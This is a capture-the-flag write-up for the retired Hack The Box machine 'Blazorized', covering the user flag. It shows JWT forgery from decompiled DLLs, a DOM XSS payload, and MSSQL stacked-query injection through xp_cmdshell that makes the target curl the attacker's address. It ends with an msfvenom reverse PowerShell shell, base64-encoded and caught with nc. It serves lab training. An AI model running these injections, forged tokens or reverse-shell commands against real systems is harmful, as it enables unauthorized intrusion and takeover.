HTB Write-up | Blazorized (user-only)
Retired machine can be found here.
Enumeration
~ nmap -F 10.10.11.22 -Pn
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
Port 80
redirects to http://blazorized.htb/, which means this virtual host needs to be mapped in order for us to be able to access the web application.
~ sudo nano /etc/hosts
[...]
10.10.11.22 blazorized.htb
The website is built using Blazor WebAssembly:
Blazor is a feature of ASP.NET for building interactive web UIs using C# instead of JavaScript. It's real .NET running in the browser on WebAssembly.
It looks like we can temporarily "impersonate" the super admin
user:
This button performs GET
requests to http://api.blazorized.htb/posts and http://api.blazorized.htb/categories with an authorization
header that contains a bearer token:
authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjpbIlBvc3RzX0dldF9BbGwiLCJDYXRlZ29yaWVzX0dldF9BbGwiXSwiZXhwIjoxNzIyODU2MzAyLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FwaS5ibGF6b3JpemVkLmh0YiJ9.J4bJYYN3EkV-PfFWJ90yAyOFS158LOanNLTduowSPHdYv28W7GQ59zeadaRaCZsyM_cfDH5r_tGXD0Mf43AUwA
At this point, I'm not sure how this token is being generated because it doesn't seem to be retrieved from the API, and it's not hardcoded in any of the resource files, so there's probably some Blazor magic under the hood.
We can use jwt-hack to decode it:
~ jwt-hack decode <the-token>
INFO[0000] Decoded data(claims)
header="{\"alg\":\"HS512\",\"typ\":\"JWT\"}"
method="&{HS512 SHA-512}"
INFO[0000] Expiraton Time
EXP=1722856302 TIME="1970-01-01 01:00:01.722856302 +0100 CET"
{
"aud":"http://api.blazorized.htb",
"exp":1722856302,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role":[
"Posts_Get_All",
"Categories_Get_All"
],
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress":"superadmin@blazorized.htb",
"iss":"http://api.blazorized.htb"
}
We can see that this token was generated for a user with the superadmin@blazorized.htb
email, and has the following "claims": Posts_Get_All
and Categories_Get_All
.
We can also see from the API responses that the posts' content is formatted in Markdown:
{
"Posts":[
{
"ID":"1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28",
"Title":"Active Directory",
"MarkdownContent":"Below are links to projects and posts relating AD red-teaming:\r\n\r\n- https://github.com/Group3r/Group3r\r\n- https://github.com/Leo4j/Amnesiac\r\n- https://github.com/JPG0mez/ADCSync\r\n- https://github.com/Processus-Thief/HEKATOMB\r\n- https://github.com/Mazars-Tech/AD_Miner\r\n- https://github.com/AlmondOffSec/PassTheCert\r\n- https://github.com/synacktiv/ntdissector\r\n- https://github.com/Hackndo/pyGPOAbuse\r\n- https://exploit.ph/external-trusts-are-evil.html\r\n- https://github.com/SecuraBV/Timeroast\r\n- https://github.com/SadProcessor/CypherDog\r\n- https://mayfly277.github.io/","CategoryID":"9a445790-f7e8-4351-8cf4-46fcae383eec"},
...
}
This means that the front-end is somehow processing and displaying this Markdown, which may result in stored XSS if we're able to create or manipulate posts or categories:
This suspicion is further confirmed because the Markdown "playground" is vulnerable to DOM-based XSS:
<img src=x onerror=alert(1) />
However, only the GET
method seems to be allowed for /posts
and /categories
:
When we try to request a non-existent post ID, we see that all of the application's DLLs and other source files are available under the _framework
directory:
http://blazorized.htb/post/1
http://blazorized.htb/_framework/blazor.boot.json
http://blazorized.htb/_framework/Blazored.LocalStorage.dll
http://blazorized.htb/_framework/Blazorized.DigitalGarden.dll
http://blazorized.htb/_framework/Blazorized.Shared.dll
...
Let's download all of these files to a local dir ...
~ wget -i requests.txt
... so we can use the ilspy-vscode extension to decompile the relevant source code.
It looks like the Blazorized.Helpers
namespace has a JWT
class that contains the logic for the temporary token generation, as well as a new interesting subdomain:
Note that this application is built with Blazor Server, instead of Blazor WebAssembly:
With the Blazor Server hosting model, components are executed on the server from within an ASP.NET Core app. UI updates, event handling, and JavaScript calls are handled over a SignalR connection using the WebSockets protocol. [...]
It's unlikely, but possible, that the JWT we have is a valid form of authorization for this subdomain.
We can see that there are 2 different "audiences" in the source code: apiAudience
and adminDashboardAudience
.
We can guess that the temporary
token we've previously come across is generated using the following function:
public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
{
try
{
List<Claim> claims = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", postsPermissionsClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", categoriesPermissionsClaimValue)
};
SigningCredentials signingCredentials = GetSigningCredentials();
DateTime? expires = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
JwtSecurityToken token = new JwtSecurityToken(issuer, apiAudience, claims, null, expires, signingCredentials);
return new JwtSecurityTokenHandler().WriteToken(token);
}
catch (Exception)
{
throw;
}
}
But there is another function, which generates a token for the same email address but for the adminDashboardAudience
, and with the superAdminRoleClaimValue
claim:
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using Microsoft.IdentityModel.Tokens;
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
try
{
List<Claim> claims = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", superAdminRoleClaimValue)
};
SigningCredentials signingCredentials = GetSigningCredentials();
DateTime? expires = DateTime.UtcNow.AddSeconds(expirationDurationInSeconds);
JwtSecurityToken token = new JwtSecurityToken(issuer, adminDashboardAudience, claims, null, expires, signingCredentials);
return new JwtSecurityTokenHandler().WriteToken(token);
}
catch (Exception)
{
throw;
}
}
Let's create a new .NET project, import the relevant DLLs, and try to generate a valid token (we increased the expiration to 600000 seconds, to make testing easier):
~ dotnet run --project BlazorJwtMock/BlazorJwtMock.csproj
Generating admin token ...
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJleHAiOjE3MjI4NzgyNzUsImlzcyI6Imh0dHA6Ly9hcGkuYmxhem9yaXplZC5odGIiLCJhdWQiOiJodHRwOi8vYWRtaW4uYmxhem9yaXplZC5odGIifQ.XUlzWUdD04FGiWCOP_SbsULNGCDVNRmvmSlAAEi2SCJNmUNf9irKVmtvyReIl0tqN8WwcvkrqWxAOO3RMXZONw
Done!
Ok, we have a token, but we're not sure how to use it to authenticate in the admin
subdomain.
Even after reversing every DLL that looked relevant, I couldn't find the logic that was responsible for getting or setting this token, so I decided to fuzz this parameter, as recommended in the forum:
The solution was to add this JWT to the jwt
LocalStorage value:
From Admin to Foothold
We have an obvious clue from the /home
page:
To avoid latency issues, this super admin panel does not consume the API but speaks to the database directly.
We can see that the "Check Duplicate" features are vulnerable to SQLi, and we know from the initial nmap
scan that we're dealing with a MSSQL database, so let's try to get a request from the victim machine using a stacked query and the EXEC master.dbo.xp_cmdshell
command, e.g.:
';EXEC master.dbo.xp_cmdshell 'curl http://10.10.14.91:8000';--
~ python3 -m http.server 8000
::ffff:10.10.11.22 - - [06/Aug/2024 11:58:11] "GET / HTTP/1.1" 200 -
Alright, let's try to trigger a reverse shell:
~ msfvenom -p cmd/windows/reverse_powershell LHOST={local_ip} LPORT={local_port} > revshell.txt
# after cleaning up the revshell.txt file and removing "powershell -w hidden -nop -c"
~ iconv -f ASCII -t UTF-16LE revshell.txt | base64 | tr -d '\n'
JABhAD0AJwAxADAALgAxADAALgAxADQALgA5ADEAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOA...
~ powershell.exe -EncodedCommand JABhAD0AJwAxADAALgAxADAALgAxADQALgA5ADEAJwA7ACQAYgA9ADQANAA0ADQAOwAkAGMAPQBOA...
and we get a shell!
~ nc -l 4444
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
blazorized\nu_1055
C:\Windows\system32> cd Users
C:\Users> dir
02/25/2024 03:41 PM <DIR> NU_1055
...
C:\Users>type C:\Users\NU_1055\Desktop\user.txt
We didn't even have to pivot to get the user flag! :)